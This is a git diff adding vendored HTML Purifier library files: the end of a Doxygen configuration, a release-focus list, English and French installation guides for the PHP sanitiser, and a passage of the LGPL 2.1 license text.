+# interpreter (i.e. the result of `which perl').
+
+PERL_PATH = /usr/bin/perl
+
+#---------------------------------------------------------------------------
+# Configuration options related to the dot tool
+#---------------------------------------------------------------------------
+
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base
+# or super classes. Setting the tag to NO turns the diagrams off. Note that
+# this option is superseded by the HAVE_DOT option below. This is only a
+# fallback. It is recommended to install and use dot, since it yields more
+# powerful graphs.
+
+CLASS_DIAGRAMS = YES
+
+# You can define message sequence charts within doxygen comments using the \msc
+# command. Doxygen will then run the mscgen tool (see http://www.mcternan.me.uk/mscgen/) to
+# produce the chart and insert it in the documentation. The MSCGEN_PATH tag allows you to
+# specify the directory where the mscgen tool resides. If left empty the tool is assumed to
+# be found in the default search path.
+
+MSCGEN_PATH =
+
+# If set to YES, the inheritance and collaboration graphs will hide
+# inheritance and usage relations if the target is undocumented
+# or is not a class.
+
+HIDE_UNDOC_RELATIONS = YES
+
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is
+# available from the path. This tool is part of Graphviz, a graph visualization
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section
+# have no effect if this option is set to NO (the default)
+
+HAVE_DOT = NO
+
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect inheritance relations. Setting this tag to YES will force the
+# the CLASS_DIAGRAMS tag to NO.
+
+CLASS_GRAPH = YES
+
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect implementation dependencies (inheritance, containment, and
+# class references variables) of the class with other documented classes.
+
+COLLABORATION_GRAPH = YES
+
+# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for groups, showing the direct groups dependencies
+
+GROUP_GRAPHS = YES
+
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and
+# collaboration diagrams in a style similar to the OMG's Unified Modeling
+# Language.
+
+UML_LOOK = NO
+
+# If set to YES, the inheritance and collaboration graphs will show the
+# relations between templates and their instances.
+
+TEMPLATE_RELATIONS = NO
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT
+# tags are set to YES then doxygen will generate a graph for each documented
+# file showing the direct and indirect include dependencies of the file with
+# other documented files.
+
+INCLUDE_GRAPH = YES
+
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each
+# documented header file showing the documented files that directly or
+# indirectly include this file.
+
+INCLUDED_BY_GRAPH = YES
+
+# If the CALL_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will
+# generate a call dependency graph for every global function or class method.
+# Note that enabling this option will significantly increase the time of a run.
+# So in most cases it will be better to enable call graphs for selected
+# functions only using the \callgraph command.
+
+CALL_GRAPH = NO
+
+# If the CALLER_GRAPH, SOURCE_BROWSER and HAVE_DOT tags are set to YES then doxygen will
+# generate a caller dependency graph for every global function or class method.
+# Note that enabling this option will significantly increase the time of a run.
+# So in most cases it will be better to enable caller graphs for selected
+# functions only using the \callergraph command.
+
+CALLER_GRAPH = NO
+
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen
+# will graphical hierarchy of all classes instead of a textual one.
+
+GRAPHICAL_HIERARCHY = YES
+
+# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES
+# then doxygen will show the dependencies a directory has on other directories
+# in a graphical way. The dependency relations are determined by the #include
+# relations between the files in the directories.
+
+DIRECTORY_GRAPH = YES
+
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images
+# generated by dot. Possible values are png, jpg, or gif
+# If left blank png will be used.
+
+DOT_IMAGE_FORMAT = png
+
+# The tag DOT_PATH can be used to specify the path where the dot tool can be
+# found. If left blank, it is assumed the dot tool can be found in the path.
+
+DOT_PATH =
+
+# The DOTFILE_DIRS tag can be used to specify one or more directories that
+# contain dot files that are included in the documentation (see the
+# \dotfile command).
+
+DOTFILE_DIRS =
+
+# The MAX_DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of
+# nodes that will be shown in the graph. If the number of nodes in a graph
+# becomes larger than this value, doxygen will truncate the graph, which is
+# visualized by representing a node as a red box. Note that doxygen if the number
+# of direct children of the root node in a graph is already larger than
+# MAX_DOT_GRAPH_NOTES then the graph will not be shown at all. Also note
+# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH.
+
+DOT_GRAPH_MAX_NODES = 50
+
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the
+# graphs generated by dot. A depth value of 3 means that only nodes reachable
+# from the root by following a path via at most 3 edges will be shown. Nodes
+# that lay further from the root node will be omitted. Note that setting this
+# option to 1 or 2 may greatly reduce the computation time needed for large
+# code bases. Also note that the size of a graph can be further restricted by
+# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction.
+
+MAX_DOT_GRAPH_DEPTH = 1000
+
+# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent
+# background. This is disabled by default, which results in a white background.
+# Warning: Depending on the platform used, enabling this option may lead to
+# badly anti-aliased labels on the edges of a graph (i.e. they become hard to
+# read).
+
+DOT_TRANSPARENT = NO
+
+# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output
+# files in one run (i.e. multiple -o and -T options on the command line). This
+# makes dot run faster, but since only newer versions of dot (>1.8.10)
+# support this, this feature is disabled by default.
+
+DOT_MULTI_TARGETS = NO
+
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will
+# generate a legend page explaining the meaning of the various boxes and
+# arrows in the dot generated graphs.
+
+GENERATE_LEGEND = YES
+
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will
+# remove the intermediate dot files that are used to generate
+# the various graphs.
+
+DOT_CLEANUP = YES
+
+#---------------------------------------------------------------------------
+# Configuration::additions related to the search engine
+#---------------------------------------------------------------------------
+
+# The SEARCHENGINE tag specifies whether or not a search engine should be
+# used. If set to NO the values of all tags below this one will be ignored.
+
+SEARCHENGINE = NO
+
+# vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/FOCUS b/vendor/ezyang/htmlpurifier/FOCUS
new file mode 100644
index 000000000..e13b9aa0a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/FOCUS
@@ -0,0 +1,13 @@
+9 - Major security fixes
+
+[ Appendix A: Release focus IDs ]
+0 - N/A
+1 - Initial freshmeat announcement
+2 - Documentation
+3 - Code cleanup
+4 - Minor feature enhancements
+5 - Major feature enhancements
+6 - Minor bugfixes
+7 - Major bugfixes
+8 - Minor security fixes
+9 - Major security fixes
diff --git a/vendor/ezyang/htmlpurifier/INSTALL b/vendor/ezyang/htmlpurifier/INSTALL
new file mode 100644
index 000000000..677c04aa0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/INSTALL
@@ -0,0 +1,374 @@
+
+Install
+ How to install HTML Purifier
+
+HTML Purifier is designed to run out of the box, so actually using the
+library is extremely easy. (Although... if you were looking for a
+step-by-step installation GUI, you've downloaded the wrong software!)
+
+While the impatient can get going immediately with some of the sample
+code at the bottom of this library, it's well worth reading this entire
+document--most of the other documentation assumes that you are familiar
+with these contents.
+
+
+---------------------------------------------------------------------------
+1. Compatibility
+
+HTML Purifier is PHP 5 only, and is actively tested from PHP 5.0.5 and
+up. It has no core dependencies with other libraries. PHP
+4 support was deprecated on December 31, 2007 with HTML Purifier 3.0.0.
+HTML Purifier is not compatible with zend.ze1_compatibility_mode.
+
+These optional extensions can enhance the capabilities of HTML Purifier:
+
+ * iconv : Converts text to and from non-UTF-8 encodings
+ * bcmath : Used for unit conversion and imagecrash protection
+ * tidy : Used for pretty-printing HTML
+
+These optional libraries can enhance the capabilities of HTML Purifier:
+
+ * CSSTidy : Clean CSS stylesheets using %Core.ExtractStyleBlocks
+ * Net_IDNA2 (PEAR) : IRI support using %Core.EnableIDNA
+
+---------------------------------------------------------------------------
+2. Reconnaissance
+
+A big plus of HTML Purifier is its inerrant support of standards, so
+your web-pages should be standards-compliant. (They should also use
+semantic markup, but that's another issue altogether, one HTML Purifier
+cannot fix without reading your mind.)
+
+HTML Purifier can process these doctypes:
+
+* XHTML 1.0 Transitional (default)
+* XHTML 1.0 Strict
+* HTML 4.01 Transitional
+* HTML 4.01 Strict
+* XHTML 1.1
+
+...and these character encodings:
+
+* UTF-8 (default)
+* Any encoding iconv supports (with crippled internationalization support)
+
+These defaults reflect what my choices would be if I were authoring an
+HTML document, however, what you choose depends on the nature of your
+codebase. If you don't know what doctype you are using, you can determine
+the doctype from this identifier at the top of your source code:
+
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+...and the character encoding from this code:
+
+ <meta http-equiv="Content-type" content="text/html;charset=ENCODING">
+
+If the character encoding declaration is missing, STOP NOW, and
+read 'docs/enduser-utf8.html' (web accessible at
+http://htmlpurifier.org/docs/enduser-utf8.html). In fact, even if it is
+present, read this document anyway, as many websites specify their
+document's character encoding incorrectly.
+
+
+---------------------------------------------------------------------------
+3. Including the library
+
+The procedure is quite simple:
+
+ require_once '/path/to/library/HTMLPurifier.auto.php';
+
+This will setup an autoloader, so the library's files are only included
+when you use them.
+
+Only the contents in the library/ folder are necessary, so you can remove
+everything else when using HTML Purifier in a production environment.
+
+If you installed HTML Purifier via PEAR, all you need to do is:
+
+ require_once 'HTMLPurifier.auto.php';
+
+Please note that the usual PEAR practice of including just the classes you
+want will not work with HTML Purifier's autoloading scheme.
+
+Advanced users, read on; other users can skip to section 4.
+
+Autoload compatibility
+----------------------
+
+ HTML Purifier attempts to be as smart as possible when registering an
+ autoloader, but there are some cases where you will need to change
+ your own code to accomodate HTML Purifier. These are those cases:
+
+ PHP VERSION IS LESS THAN 5.1.2, AND YOU'VE DEFINED __autoload
+ Because spl_autoload_register() doesn't exist in early versions
+ of PHP 5, HTML Purifier has no way of adding itself to the autoload
+ stack. Modify your __autoload function to test
+ HTMLPurifier_Bootstrap::autoload($class)
+
+ For example, suppose your autoload function looks like this:
+
+ function __autoload($class) {
+ require str_replace('_', '/', $class) . '.php';
+ return true;
+ }
+
+ A modified version with HTML Purifier would look like this:
+
+ function __autoload($class) {
+ if (HTMLPurifier_Bootstrap::autoload($class)) return true;
+ require str_replace('_', '/', $class) . '.php';
+ return true;
+ }
+
+ Note that there *is* some custom behavior in our autoloader; the
+ original autoloader in our example would work for 99% of the time,
+ but would fail when including language files.
+
+ AN __autoload FUNCTION IS DECLARED AFTER OUR AUTOLOADER IS REGISTERED
+ spl_autoload_register() has the curious behavior of disabling
+ the existing __autoload() handler. Users need to explicitly
+ spl_autoload_register('__autoload'). Because we use SPL when it
+ is available, __autoload() will ALWAYS be disabled. If __autoload()
+ is declared before HTML Purifier is loaded, this is not a problem:
+ HTML Purifier will register the function for you. But if it is
+ declared afterwards, it will mysteriously not work. This
+ snippet of code (after your autoloader is defined) will fix it:
+
+ spl_autoload_register('__autoload')
+
+ Users should also be on guard if they use a version of PHP previous
+ to 5.1.2 without an autoloader--HTML Purifier will define __autoload()
+ for you, which can collide with an autoloader that was added by *you*
+ later.
+
+
+For better performance
+----------------------
+
+ Opcode caches, which greatly speed up PHP initialization for scripts
+ with large amounts of code (HTML Purifier included), don't like
+ autoloaders. We offer an include file that includes all of HTML Purifier's
+ files in one go in an opcode cache friendly manner:
+
+ // If /path/to/library isn't already in your include path, uncomment
+ // the below line:
+ // require '/path/to/library/HTMLPurifier.path.php';
+
+ require 'HTMLPurifier.includes.php';
+
+ Optional components still need to be included--you'll know if you try to
+ use a feature and you get a class doesn't exists error! The autoloader
+ can be used in conjunction with this approach to catch classes that are
+ missing. Simply add this afterwards:
+
+ require 'HTMLPurifier.autoload.php';
+
+Standalone version
+------------------
+
+ HTML Purifier has a standalone distribution; you can also generate
+ a standalone file from the full version by running the script
+ maintenance/generate-standalone.php . The standalone version has the
+ benefit of having most of its code in one file, so parsing is much
+ faster and the library is easier to manage.
+
+ If HTMLPurifier.standalone.php exists in the library directory, you
+ can use it like this:
+
+ require '/path/to/HTMLPurifier.standalone.php';
+
+ This is equivalent to including HTMLPurifier.includes.php, except that
+ the contents of standalone/ will be added to your path. To override this
+ behavior, specify a new HTMLPURIFIER_PREFIX where standalone files can
+ be found (usually, this will be one directory up, the "true" library
+ directory in full distributions). Don't forget to set your path too!
+
+ The autoloader can be added to the end to ensure the classes are
+ loaded when necessary; otherwise you can manually include them.
+ To use the autoloader, use this:
+
+ require 'HTMLPurifier.autoload.php';
+
+For advanced users
+------------------
+
+ HTMLPurifier.auto.php performs a number of operations that can be done
+ individually. These are:
+
+ HTMLPurifier.path.php
+ Puts /path/to/library in the include path. For high performance,
+ this should be done in php.ini.
+
+ HTMLPurifier.autoload.php
+ Registers our autoload handler HTMLPurifier_Bootstrap::autoload($class).
+
+ You can do these operations by yourself--in fact, you must modify your own
+ autoload handler if you are using a version of PHP earlier than PHP 5.1.2
+ (See "Autoload compatibility" above).
+
+
+---------------------------------------------------------------------------
+4. Configuration
+
+HTML Purifier is designed to run out-of-the-box, but occasionally HTML
+Purifier needs to be told what to do. If you answer no to any of these
+questions, read on; otherwise, you can skip to the next section (or, if you're
+into configuring things just for the heck of it, skip to 4.3).
+
+* Am I using UTF-8?
+* Am I using XHTML 1.0 Transitional?
+
+If you answered no to any of these questions, instantiate a configuration
+object and read on:
+
+ $config = HTMLPurifier_Config::createDefault();
+
+
+4.1. Setting a different character encoding
+
+You really shouldn't use any other encoding except UTF-8, especially if you
+plan to support multilingual websites (read section three for more details).
+However, switching to UTF-8 is not always immediately feasible, so we can
+adapt.
+
+HTML Purifier uses iconv to support other character encodings, as such,
+any encoding that iconv supports <http://www.gnu.org/software/libiconv/>
+HTML Purifier supports with this code:
+
+ $config->set('Core.Encoding', /* put your encoding here */);
+
+An example usage for Latin-1 websites (the most common encoding for English
+websites):
+
+ $config->set('Core.Encoding', 'ISO-8859-1');
+
+Note that HTML Purifier's support for non-Unicode encodings is crippled by the
+fact that any character not supported by that encoding will be silently
+dropped, EVEN if it is ampersand escaped. If you want to work around
+this, you are welcome to read docs/enduser-utf8.html for a fix,
+but please be cognizant of the issues the "solution" creates (for this
+reason, I do not include the solution in this document).
+
+
+4.2. Setting a different doctype
+
+For those of you using HTML 4.01 Transitional, you can disable
+XHTML output like this:
+
+ $config->set('HTML.Doctype', 'HTML 4.01 Transitional');
+
+Other supported doctypes include:
+
+ * HTML 4.01 Strict
+ * HTML 4.01 Transitional
+ * XHTML 1.0 Strict
+ * XHTML 1.0 Transitional
+ * XHTML 1.1
+
+
+4.3. Other settings
+
+There are more configuration directives which can be read about
+here: <http://htmlpurifier.org/live/configdoc/plain.html> They're a bit boring,
+but they can help out for those of you who like to exert maximum control over
+your code. Some of the more interesting ones are configurable at the
+demo <http://htmlpurifier.org/demo.php> and are well worth looking into
+for your own system.
+
+For example, you can fine tune allowed elements and attributes, convert
+relative URLs to absolute ones, and even autoparagraph input text! These
+are, respectively, %HTML.Allowed, %URI.MakeAbsolute and %URI.Base, and
+%AutoFormat.AutoParagraph. The %Namespace.Directive naming convention
+translates to:
+
+ $config->set('Namespace.Directive', $value);
+
+E.g.
+
+ $config->set('HTML.Allowed', 'p,b,a[href],i');
+ $config->set('URI.Base', 'http://www.example.com');
+ $config->set('URI.MakeAbsolute', true);
+ $config->set('AutoFormat.AutoParagraph', true);
+
+
+---------------------------------------------------------------------------
+5. Caching
+
+HTML Purifier generates some cache files (generally one or two) to speed up
+its execution. For maximum performance, make sure that
+library/HTMLPurifier/DefinitionCache/Serializer is writeable by the webserver.
+
+If you are in the library/ folder of HTML Purifier, you can set the
+appropriate permissions using:
+
+ chmod -R 0755 HTMLPurifier/DefinitionCache/Serializer
+
+If the above command doesn't work, you may need to assign write permissions
+to all. This may be necessary if your webserver runs as nobody, but is
+not recommended since it means any other user can write files in the
+directory. Use:
+
+ chmod -R 0777 HTMLPurifier/DefinitionCache/Serializer
+
+You can also chmod files via your FTP client; this option
+is usually accessible by right clicking the corresponding directory and
+then selecting "chmod" or "file permissions".
+
+Starting with 2.0.1, HTML Purifier will generate friendly error messages
+that will tell you exactly what you have to chmod the directory to, if in doubt,
+follow its advice.
+
+If you are unable or unwilling to give write permissions to the cache
+directory, you can either disable the cache (and suffer a performance
+hit):
+
+ $config->set('Core.DefinitionCache', null);
+
+Or move the cache directory somewhere else (no trailing slash):
+
+ $config->set('Cache.SerializerPath', '/home/user/absolute/path');
+
+
+---------------------------------------------------------------------------
+6. Using the code
+
+The interface is mind-numbingly simple:
+
+ $purifier = new HTMLPurifier($config);
+ $clean_html = $purifier->purify( $dirty_html );
+
+That's it! For more examples, check out docs/examples/ (they aren't very
+different though). Also, docs/enduser-slow.html gives advice on what to
+do if HTML Purifier is slowing down your application.
+
+
+---------------------------------------------------------------------------
+7. Quick install
+
+First, make sure library/HTMLPurifier/DefinitionCache/Serializer is
+writable by the webserver (see Section 5: Caching above for details).
+If your website is in UTF-8 and XHTML Transitional, use this code:
+
+<?php
+ require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
+
+ $config = HTMLPurifier_Config::createDefault();
+ $purifier = new HTMLPurifier($config);
+ $clean_html = $purifier->purify($dirty_html);
+?>
+
+If your website is in a different encoding or doctype, use this code:
+
+<?php
+ require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
+
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('Core.Encoding', 'ISO-8859-1'); // replace with your encoding
+ $config->set('HTML.Doctype', 'HTML 4.01 Transitional'); // replace with your doctype
+ $purifier = new HTMLPurifier($config);
+
+ $clean_html = $purifier->purify($dirty_html);
+?>
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8 b/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8
new file mode 100644
index 000000000..9c533853b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/INSTALL.fr.utf8
@@ -0,0 +1,69 @@
+
+Installation
+ Comment installer HTML Purifier
+
+Attention: Ce document a encode en UTF-8. Si les lettres avec les accents
+est essoreuse, prenez un mieux editeur de texte.
+
+À L'Aide: Je ne suis pas un diseur natif de français. Si vous trouvez une
+erreur dans ce document, racontez-moi! Merci.
+
+
+L'installation de HTML Purifier est trés simple, parce qu'il ne doit pas
+la configuration. Dans le pied de de document, les utilisateurs
+impatient peuvent trouver le code, mais je recommande que vous lisez
+ce document pour quelques choses.
+
+
+1. Compatibilité
+
+HTML Purifier fonctionne dans PHP 5. PHP 5.0.5 est le dernier
+version que je le testais. Il ne dépend de les autre librairies.
+
+Les extensions optionnel est iconv (en général déjà installer) et
+tidy (répandu aussi). Si vous utilisez UTF-8 et ne voulez pas
+l'indentation, vous pouvez utiliser HTML Purifier sans ces extensions.
+
+
+2. Inclure la librarie
+
+Utilisez:
+
+ require_once '/path/to/library/HTMLPurifier.auto.php';
+
+...quand vous devez utiliser HTML Purifier (ne inclure pas quand vous
+ne devez pas, parce que HTML Purifier est trés grand.)
+
+HTML Purifier utilise 'autoload'. Si vous avez définu la fonction
+__autoload, vous doivez ajoute cet programme:
+
+ spl_autoload_register('__autoload')
+
+Plus d'information est dans le document 'INSTALL'.
+
+
+3. Installation vite
+
+Si votre site web est en UTF-8 et XHTML Transitional, utilisez:
+
+<?php
+ require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
+
+ $purificateur = new HTMLPurifier();
+ $html_propre = $purificateur->purify($html_salle);
+?>
+
+Sinon, utilisez:
+
+<?php
+ require_once '/path/to/htmlpurifier/library/HTMLPurifier.auto.php';
+
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('Core', 'Encoding', 'ISO-8859-1'); //remplacez avec votre encoding
+ $config->set('Core', 'XHTML', true); //remplacez avec false si HTML 4.01
+ $purificateur = new HTMLPurifier($config);
+
+ $html_propre = $purificateur->purify($html_salle);
+?>
+
+ vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/LICENSE b/vendor/ezyang/htmlpurifier/LICENSE
new file mode 100644
index 000000000..8c88a20d4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/LICENSE
@@ -0,0 +1,504 @@
+ GNU LESSER GENERAL PUBLIC LICENSE
+ Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL. It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+ This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it. You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+ When we speak of free software, we are referring to freedom of use,
+not price. Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+ To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights. These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+ For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you. You must make sure that they, too, receive or can get the source
+code. If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it. And you must show them these terms so they know their rights.
+
+ We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+ To protect each distributor, we want to make it very clear that
+there is no warranty for the free library. Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+ Finally, software patents pose a constant threat to the existence of
+any free program. We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder. Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+ Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License. This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License. We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+ When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library. The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom. The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+ We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License. It also provides other free software developers Less
+of an advantage over competing non-free programs. These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries. However, the Lesser license provides advantages in certain
+special circumstances.
+
+ For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard. To achieve this, non-free programs must be
+allowed to use the library. A more frequent case is that a free
+library does the same job as widely used non-free libraries. In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+ In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software. For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+ Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+ The precise terms and conditions for copying, distribution and
+modification follow. Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library". The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+ GNU LESSER GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+ A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+ The "Library", below, refers to any such software library or work
+which has been distributed under these terms. A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language. (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+ "Source code" for a work means the preferred form of the work for
+making modifications to it. For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+ Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it). Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+ 1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+ You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+ 2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) The modified work must itself be a software library.
+
+ b) You must cause the files modified to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ c) You must cause the whole of the work to be licensed at no
+ charge to all third parties under the terms of this License.
+
+ d) If a facility in the modified Library refers to a function or a
+ table of data to be supplied by an application program that uses
+ the facility, other than as an argument passed when the facility
+ is invoked, then you must make a good faith effort to ensure that,
+ in the event an application does not supply such function or
+ table, the facility still operates, and performs whatever part of
+ its purpose remains meaningful.
+
+ (For example, a function in a library to compute square roots has
+ a purpose that is entirely well-defined independent of the
+ application. Therefore, Subsection 2d requires that any
+ application-supplied function or table used by this function must
+ be optional: if the application does not supply it, the square
+ root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library. To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License. (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.) Do not make any other change in
+these notices.
+
+ Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+ This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+ 4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+ If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library". Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+ However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library". The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+ When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library. The
+threshold for this to be true is not precisely defined by law.
+
+ If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work. (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+ Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+ 6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+ You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License. You must supply a copy of this License. If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License. Also, you must do one
+of these things:
+
